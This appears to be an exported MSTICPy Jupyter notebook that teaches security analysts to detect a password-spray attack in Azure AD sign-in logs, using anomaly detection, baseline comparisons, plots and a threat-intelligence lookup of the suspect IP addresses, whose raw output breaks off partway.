# Initialize MSTICPy
import msticpy
msticpy.init_notebook(globals());
At minimum you should configure settings for:
msticpy.MpConfigEdit()
msticpyconfig.yaml using the Save Settings button¶If saved to the current directory, it will be found automatically.
If you put it somewhere else you will need to specify the location in the MSTICPYCONFIG environment variable.
# This reloads saved settings if you made any changes
msticpy.settings.refresh_config()
Depending on your provider the initialization sequence will look a little different.
The connect function may require authentication parameters if you have not
configured them in your msticpyconfig.yaml
# Create a query provider and connect to it
qry_prov = QueryProvider("MSSentinel")
qry_prov.connect(WorkspaceConfig("CyberSecuritySOC"))
# Ignore this cell if using sample data
# Ignore this cell if using sample data
failed_logons_hourly_df = qry_prov.exec_query("""
SigninLogs
| where TimeGenerated between (ago(60d) .. ago(30d)) // define time period
| where ResultType != 0 // filter to failed logons
| summarize count=count() by bin(TimeGenerated, 1h) // group and count by hour
""")
failed_logons_hourly_df = pd.read_pickle("data/failed_logons_hourly.pkl")
# Set the index to be the Timestamp field and sort the index
failed_logons_hourly_df = (
failed_logons_hourly_df
.set_index("TimeGenerated") # set index
.sort_index() # sort index
)
failed_logons_hourly_df.head()
| count | |
|---|---|
| TimeGenerated | |
| 2021-11-02 00:00:00+00:00 | 23.0 |
| 2021-11-02 01:00:00+00:00 | 465.0 |
| 2021-11-02 02:00:00+00:00 | 489.0 |
| 2021-11-02 03:00:00+00:00 | 1057.0 |
| 2021-11-02 04:00:00+00:00 | 1588.0 |
from msticpy.analysis.timeseries import timeseries_anomalies_stl
ts_df = timeseries_anomalies_stl(
failed_logons_hourly_df,
seasonal=7, # define our season to be 7 days
period=24 # each day is 24 rows of data
)
ts_df = ts_df.sort_values("TimeGenerated")
ts_df.head()
| TimeGenerated | count | residual | trend | seasonal | weights | baseline | score | anomalies | |
|---|---|---|---|---|---|---|---|---|---|
| 0 | 2021-11-02 00:00:00+00:00 | 23 | 39 | 3051 | -3067 | 1 | -16 | 0.051251 | 0 |
| 1 | 2021-11-02 01:00:00+00:00 | 465 | 184 | 3047 | -2767 | 1 | 280 | 0.238423 | 0 |
| 2 | 2021-11-02 02:00:00+00:00 | 489 | 140 | 3043 | -2695 | 1 | 348 | 0.181626 | 0 |
| 3 | 2021-11-02 03:00:00+00:00 | 1057 | 153 | 3040 | -2137 | 1 | 903 | 0.198407 | 0 |
| 4 | 2021-11-02 04:00:00+00:00 | 1588 | 182 | 3036 | -1631 | 1 | 1405 | 0.235841 | 0 |
from msticpy.nbtools.timeseries import display_timeseries_anomalies
display_timeseries_anomalies(
ts_df, y="count", period=7, height=300, width=800
)
from msticpy.analysis.timeseries import find_anomaly_periods
anom_periods = find_anomaly_periods(ts_df.sort_values("TimeGenerated"))
anom_periods
[TimeSpan(start=2021-11-08 07:00:00+00:00, end=2021-11-08 09:00:00+00:00, period=0 days 02:00:00), TimeSpan(start=2021-11-15 06:00:00+00:00, end=2021-11-15 14:00:00+00:00, period=0 days 08:00:00), TimeSpan(start=2021-11-22 07:00:00+00:00, end=2021-11-22 09:00:00+00:00, period=0 days 02:00:00)]
time_range = nbwidgets.QueryTime(timespan=anom_periods[1])
time_range
# Ignore this cell if using sample data
failed_logons_details_df = qry_prov.Azure.list_all_signins_geo(
time_range,
add_query_items="| where ResultType != 0",
split_query_by="30min", # split query into 30min chunks
)
failed_logons_details_df = pd.read_pickle("data/failed_logons_details_df.pkl")
We need a comparison data set to compare the attack period data with. We need to ensure that:
We can re-use the time_range widget value but offset it to 2 weeks prior.
# Ignore this cell if using sample data
failed_logons_baseline_df = qry_prov.Azure.list_all_signins_geo(
start=time_range.start - pd.Timedelta("14D"),
end=time_range.end - pd.Timedelta("14D"),
add_query_items="| where ResultType != 0",
split_query_by="30min", # split query into 30min chunks
)
failed_logons_baseline_df = pd.read_pickle("data/failed_logons_baseline_df.pkl")
pd.DataFrame(failed_logons_baseline_df.iloc[0])
| 0 | |
|---|---|
| SourceSystem | Azure AD |
| TimeGenerated | 2021-11-29 06:00:53.225000+00:00 |
| OperationName | Sign-in activity |
| ResultType | 50074 |
| ResultDescription | User did not pass the MFA challenge. |
| Resource | Microsoft.aadiam |
| Location | IN |
| AppDisplayName | qbjqbiprpbfrjfi |
| AppId | fa5211d5-7ca8-4f61-a031-84df408fa729 |
| ClientAppUsed | Browser |
| DeviceDetail | {'operatingSystem': 'Windows 10', 'deviceId': '', 'browser': 'IE 7.0'} |
| IsInteractive | True |
| IPAddress | 42.184.230.121 |
| IsRisky | None |
| RiskDetail | none |
| UserAgent | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET... |
| UserDisplayName | User 258 |
| UserId | 8698ef1e-49e5-4c23-87c5-5d1fe5b8a6d1 |
| UserPrincipalName | user258@contoso.com |
| UserType | Member |
| FlaggedForReview | None |
| IPAddressFromResourceProvider | |
| Type | SigninLogs |
| Result | Failed |
| Latitude | 19.891139 |
| Longitude | 73.535609 |
value_counts function¶failed_logons_details_df.ClientAppUsed.value_counts().head()
Browser 61886
1461
Mobile Apps and Desktop clients 1344
Exchange Web Services 165
MAPI Over HTTP 11
Name: ClientAppUsed, dtype: int64
failed_logons_details_df.UserAgent.value_counts().head()
Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 53529 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko 1461 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44 1013 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 881 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 754 Name: UserAgent, dtype: int64
Password sprays often repeat values in the logon request.
We can use pandas value_counts function to find frequently repeating values.
Here are some examples using the location country, appId and useragent for both the baseline and attack period.
def compare_properties(base, attack, property):
"""Compare `propert` for baseline and attack period dataframes."""
data = pd.concat( # join the data
[
# select the top 10 occuring values from each DF
base[property].value_counts().head(10),
attack[property].value_counts().head(10)
],
axis="columns"
)
data.columns = ["baseline", "attack"]
data.name = property
return data.style.bar()
# Compare three properties for the baseline and suspect attack period
# to view differences in the frequency of values used in requests
# for 3 different properties
display(compare_properties(failed_logons_baseline_df, failed_logons_details_df, "Location"))
display(compare_properties(failed_logons_baseline_df, failed_logons_details_df, "AppId"))
display(compare_properties(failed_logons_baseline_df, failed_logons_details_df, "UserAgent"))
| baseline | attack | |
|---|---|---|
| GB | 17379.000000 | 6499.000000 |
| IN | 10894.000000 | 3565.000000 |
| 5575.000000 | nan | |
| ZA | 2100.000000 | nan |
| IE | 774.000000 | nan |
| DK | 622.000000 | nan |
| US | 345.000000 | 12715.000000 |
| PL | 300.000000 | nan |
| BE | 89.000000 | nan |
| DE | 85.000000 | 4218.000000 |
| NL | nan | 6590.000000 |
| CN | nan | 4273.000000 |
| SG | nan | 2215.000000 |
| FR | nan | 2126.000000 |
| RU | nan | 2049.000000 |
| LT | nan | 1982.000000 |
| baseline | attack | |
|---|---|---|
| fa5211d5-7ca8-4f61-a031-84df408fa729 | 11550.000000 | 2582.000000 |
| 5e3ce6c0-2b1f-4285-8d4b-75ee78787346 | 3725.000000 | 549.000000 |
| 3e62f81e-590b-425b-9531-cad6683656cf | 3411.000000 | nan |
| bc050a38-ccd7-4137-8b5f-7e1f63035230 | 2708.000000 | 2480.000000 |
| 1fec8e78-bce4-4aaf-ab1b-5451cc387264 | 2506.000000 | 335.000000 |
| fd04ec1a-aea6-4454-940e-d1b150f297cd | 1652.000000 | nan |
| 00000002-0000-0ff1-ce00-000000000000 | 1651.000000 | 665.000000 |
| 00000003-0000-0ff1-ce00-000000000000 | 1027.000000 | 323.000000 |
| 875.000000 | 550.000000 | |
| d3590ed6-52b3-4102-aeff-aad2292ab01c | 864.000000 | 54132.000000 |
| e980eb13-9276-4797-8929-a665368166ae | nan | 1207.000000 |
| 4765445b-32c6-49b0-83e6-1d93765276ca | nan | 305.000000 |
| baseline | attack | |
|---|---|---|
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 | 6443.000000 | nan |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 | 5648.000000 | nan |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 | 2636.000000 | 754.000000 |
| Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko | 2192.000000 | 1461.000000 |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.30 | 1209.000000 | nan |
| Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 | 1053.000000 | nan |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 | 896.000000 | 618.000000 |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 | 816.000000 | nan |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042 | 787.000000 | 427.000000 |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363 | 762.000000 | nan |
| Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 | nan | 53529.000000 |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44 | nan | 1013.000000 |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 | nan | 881.000000 |
| Mozilla/5.0 (Linux; Android 11; SM-A326B Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.4638.74 Mobile Safari/537.36 | nan | 342.000000 |
| Mozilla/5.0 (iPhone; CPU iPhone OS 14_8_1 like Mac OS X) AppleWebKit/605 (KHTML, like Gecko) Mobile/15E148 | nan | 337.000000 |
| Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605 (KHTML, like Gecko) Mobile/15E148 | nan | 300.000000 |
We can make a graphical comparison of all properties for the two periods.
# Utility function used in the following cell
def get_value_counts(data, sample_size=10, label=""):
"""Extract a sample of the counts top N properties"""
features = []
for col_name in data.columns: # for each column in DF
if col_name == "TimeGenerated":
continue
try:
# extract the top freq-occuring values for the column
val_counts = (
pd.DataFrame(
data[col_name].value_counts().head(sample_size)
/ len(data)
)
.reset_index()
# rename columns
.rename(columns={"index": "value", col_name: "distribution"})
.assign(column=col_name, label=label)
)
# If there is more than one value, add it to our feature list
if len(val_counts) > 1: # and val_counts.iloc[0].distribution > 0.001:
features.append(val_counts)
except:
print(f"value counts not available for {col_name}")
# combine the results into a single data frame and return
return pd.concat(features, axis=0)
Anywhere orange bars show indicates that the top 10 repeated values for the
column were more frequent in the attack period than our baseline period.
Where blue shows (for location and clientapp used), it means that
the attack period had greater variation in these property values.
E.g. with location country, the attacker used more country origins than the organization typically shows.
Note you might see this latter pattern more frequently with
more sophisticated attacks where properties are randomized
for each logon request. However, detecting that requires
more sophisticated analysis than we are doing here.
# from hvplot import pandas
normal_df = get_value_counts(failed_logons_baseline_df, label="norm", sample_size=10)
attack_counts_df = get_value_counts(failed_logons_details_df, label="attack", sample_size=10)
display(attack_counts_df.groupby("column").mean().plot.barh(color="orange"))
display(normal_df.groupby("column").mean().plot.barh(color="blue", alpha=0.5))
<AxesSubplot:ylabel='column'>
<AxesSubplot:ylabel='column'>
Often you can manually select a few specific columns that are likely to be repeated in a password spray.
E.g. User name, target application, User agent, location.
# Latitude and longitude are store as strings in our data
# so convert to numeric and fill in missing values
failed_logons_details_df["Latitude"] = pd.to_numeric(
failed_logons_details_df["Latitude"]
).fillna(method="ffill")
failed_logons_details_df["Longitude"] = pd.to_numeric(
failed_logons_details_df["Longitude"]
).fillna(method="ffill")
display(
failed_logons_baseline_df.plot.scatter(
x="Longitude", y="Latitude", color="blue", title="baseline")
)
display(
failed_logons_details_df.plot.scatter(
x="Longitude", y="Latitude", color="orange", title="attack period")
)
<AxesSubplot:title={'center':'baseline'}, xlabel='Longitude', ylabel='Latitude'>
<AxesSubplot:title={'center':'attack period'}, xlabel='Longitude', ylabel='Latitude'>
The Y axis is IPAddress and is too crammed to see individual addresses.
However, this is not so important here - what we are looking for is different distribution patterns between the normal baseline period and the suspected attack period.
In the first chart you can see a few larger circles indicating that the same IP address was having repeated logon failures. But in most cases the logon failures are widely dispersed across different IP addresses in each region.
This isn't uncommon in a large organization, due to things like applications or systems using accounts with expired passwords.
failed_logons_baseline_df.mp_plot.matrix(
x="Location",
y="IPAddress",
sort=True,
value_col="TimeGenerated",
dist_count=True,
title="Normal failed logons",
height=400
)
This shows two significant differences:
failed_logons_details_df.mp_plot.matrix(
x="Location",
y="IPAddress",
sort=True,
value_col="TimeGenerated",
dist_count=True,
title="Failed logons during suspected attack period",
height=400,
)
In the baseline, the largest repeating username had 96 failed attempts across two regions. This could be suspicious and probably should be investigated.
failed_logons_baseline_df.mp_plot.matrix(
x="Location",
y="UserPrincipalName",
sort=True,
value_col="TimeGenerated",
dist_count=True,
title="Normal failed logons",
height=400
)
failed_logons_details_df.mp_plot.matrix(
x="Location",
y="UserPrincipalName",
sort=True,
value_col="TimeGenerated",
dist_count=True,
title="Failed logons during suspected attack period",
height=400,
)
from msticpy.datamodel.entities import GeoLocation, IpAddress
def create_ip_entities(data, sample=500):
ip_entities = []
for _, row in data.sample(sample).iterrows():
if row.Longitude and row.Latitude:
geo = GeoLocation(Longitude=float(row.Longitude), Latitude=float(row.Latitude), CountryName=row.Location)
ip = IpAddress(Address=row.IPAddress, Location=geo)
ip_entities.append(ip)
return ip_entities
from msticpy.nbtools.foliummap import FoliumMap
import warnings
# Plot sample of normal logon failures
f_map = FoliumMap("Normal failures", zoom_start=3)
with warnings.catch_warnings():
warnings.filterwarnings("ignore", "")
f_map.add_ip_cluster(create_ip_entities(failed_logons_baseline_df, 500), color="blue")
f_map.center_map()
f_map
# Plot sample of logon failures during suspected attack
with warnings.catch_warnings():
warnings.filterwarnings("ignore", "")
f_map.add_ip_cluster(create_ip_entities(failed_logons_details_df, 500), color="red", height=400)
# f_map.center_map()
f_map
max_user_agent = failed_logons_details_df.UserAgent.value_counts().index[0]
max_app_id = failed_logons_details_df.AppId.value_counts().index[0]
print("Most common User Agent:", max_user_agent)
print("Most common App ID:", max_app_id)
Most common User Agent: Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 Most common App ID: d3590ed6-52b3-4102-aeff-aad2292ab01c
# Create pandas criteria based on these values
# and combine these to get suspect logons
max_appid_crit = failed_logons_details_df.AppId == max_app_id
max_ua_crit = failed_logons_details_df.UserAgent == max_user_agent
suspicious_logons = failed_logons_details_df[
max_appid_crit & max_ua_crit
]
print("Isolated", len(suspicious_logons), "logons")
Isolated 53529 logons
# show top ones
suspicious_logons[["IPAddress", "UserAgent"]].value_counts().head()
IPAddress UserAgent 86.96.193.134 Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 1324 193.239.85.40 Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 1302 37.228.129.20 Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 1294 101.132.190.179 Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 1238 202.182.115.166 Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 1215 dtype: int64
It looks pretty normal
# remove our isolated (suspected attack) failed logons from
# the attack period data
remaining_logons = failed_logons_details_df[~(max_appid_crit & max_ua_crit)]
# What we have left ought to look like the baseline data for this period
remaining_logons.mp_plot.matrix(
x="Location",
y="UserPrincipalName",
sort=True,
value_col="TimeGenerated",
dist_count=True,
title="Failed logons with attack logons removed",
height=400,
)
# Unique IP addresses from attack events
suspicious_logons.IPAddress.unique()
array(['182.180.122.66', '100.24.200.233', '23.227.207.168',
'5.199.174.237', '176.123.9.144', '121.196.189.242',
'139.196.171.222', '37.228.129.20', '199.247.14.183',
'38.132.99.156', '45.76.146.116', '86.96.193.134', '62.75.213.198',
'45.147.230.236', '211.236.177.249', '185.62.188.214',
'52.114.77.28', '108.167.143.241', '206.189.236.78',
'103.73.67.169', '185.147.14.242', '176.223.113.19',
'192.227.204.214', '185.153.196.205', '83.171.237.173',
'185.203.119.200', '202.182.115.166', '101.132.190.179',
'198.167.136.100', '45.77.175.99', '95.85.42.230',
'185.125.207.17', '80.255.3.85', '92.53.97.160', '185.165.168.226',
'173.201.192.133', '185.52.3.205', '167.71.15.75', '159.89.227.53',
'185.80.129.193', '121.196.104.235', '23.82.185.99',
'193.239.85.40', '45.147.231.210', '5.34.180.206', '46.19.138.139',
'45.153.184.136', '52.112.66.217', '31.148.220.53',
'176.105.254.220'], dtype=object)
This lookup is using AlienVault OTX. For this to work you will need
msticpyconfig.yamlSee MSTICPy Threat Intelligence providers for details on how to do this.
You can also use any of the other available providers:
from msticpy.datamodel.entities import IpAddress
from msticpy.sectools.tilookup import TILookup
ti_results = IpAddress.ti.lookup_ipv4_OTX(suspicious_logons.sample(10), column="IPAddress")
TILookup.browse(ti_results)
| OTX | |
| pulse_count | 14 |
| names | ['Malware Command and Control IPs', 'C&C - IP', 'IOCs - 20211072234', 'Stacey Grubb', 'Stacey Grubb', 'Stacey Grubb', 'Stacey Grubb', 'Stacey Grubb', 'Stacey Grubb', 'Stacey Grubb', 'Stacey Grubb', 'Stacey Grubb', 'malware and ip SG', 'IOCs - 2020122106'] |
| tags | [[], ['C&C'], [], [], [], [], [], [], [], [], [], [], [], []] |
| references | [[], [], [], [], [], [], [], [], [], [], [], [], [], []] |
{'accuracy_radius': 1000,
'area_code': 0,
'asn': 'AS14618 AMAZON-AES',
'base_indicator': {'access_reason': '',
'access_type': 'public',
'content': '',
'description': '',
'id': 2311913999,
'indicator': '100.24.200.233',
'title': '',
'type': 'IPv4'},
'charset': 0,
'city': 'Ashburn',
'city_data': True,
'continent_code': 'NA',
'country_code': 'US',
'country_code2': 'US',
'country_code3': 'USA',
'country_name': 'United States of America',
'dma_code': 511,
'false_positive': [],
'flag_title': 'United States of America',
'flag_url': '/assets/images/flags/us.png',
'indicator': '100.24.200.233',
'latitude': 39.0481,
'longitude': -77.4728,
'postal_code': '20149',
'pulse_info': {'count': 14,
'pulses': [{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': '/otxapi/users/avatar_image/media/avatars/user_79494/resized/80/avatar_ae25690a70.png',
'id': '79494',
'is_following': False,
'is_subscribed': False,
'username': 'otxrobot_ip'},
'cloned_from': None,
'comment_count': 6,
'created': '2019-02-27T15:54:20.106000',
'description': '',
'downvotes_count': 0,
'export_count': 2726,
'follower_count': 0,
'groups': [],
'id': '5c76b2acd1420a1aac451307',
'in_group': False,
'indicator_count': 12252,
'indicator_type_counts': {'IPv4': 12252},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2022-03-21T00:42:37.872000',
'modified_text': '1 minute ago ',
'name': 'Malware Command and Control IPs',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 1138,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': 'C&C - IP',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '151146',
'is_following': False,
'is_subscribed': False,
'username': 'sec-saga'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-10-21T14:45:30.627000',
'description': 'C&C - IP',
'downvotes_count': 0,
'export_count': 10,
'follower_count': 0,
'groups': [],
'id': '61717d0aa9a148b5090e5923',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-11-18T14:04:20.477000',
'modified_text': '122 days ago ',
'name': 'C&C - IP',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 10,
'tags': ['C&C'],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'green',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': '/otxapi/users/avatar_image/media/avatars/user_91912/resized/80/avatar_2b1b2b88b6.png',
'id': '91912',
'is_following': False,
'is_subscribed': False,
'username': 'AlessandroFiori'},
'cloned_from': None,
'comment_count': 0,
'created': '2021-10-07T20:34:41.907000',
'description': 'For complete list please visit '
'https://apd.altervista.org/',
'downvotes_count': 0,
'export_count': 7,
'follower_count': 0,
'groups': [],
'id': '615f59e11ed28ba642ac44dd',
'in_group': False,
'indicator_count': 22668,
'indicator_type_counts': {'FileHash-SHA1': 4441,
'FileHash-SHA256': 795,
'FilePath': 1828,
'Mutex': 1828,
'URI': 1828,
'URL': 9690,
'YARA': 1828,
'domain': 155,
'hostname': 275},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-11-06T20:04:24.500000',
'modified_text': '134 days ago ',
'name': 'IOCs - 20211072234',
'public': 1,
'pulse_source': 'api',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 296,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:09.646000',
'description': '',
'downvotes_count': 0,
'export_count': 47,
'follower_count': 0,
'groups': [],
'id': '60bb427d18592281af3156f2',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 13,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:11.765000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb427f7df3657816753b94',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 13,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:12.752000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb428018592281af3156f3',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 12,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:13.307000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb4281c252fab6e1060c4c',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 13,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:13.796000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb4281ea10608d79c747a2',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 13,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:13.516000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb4281edb9de34671deced',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 13,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:32.600000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb42949791bfca680931af',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
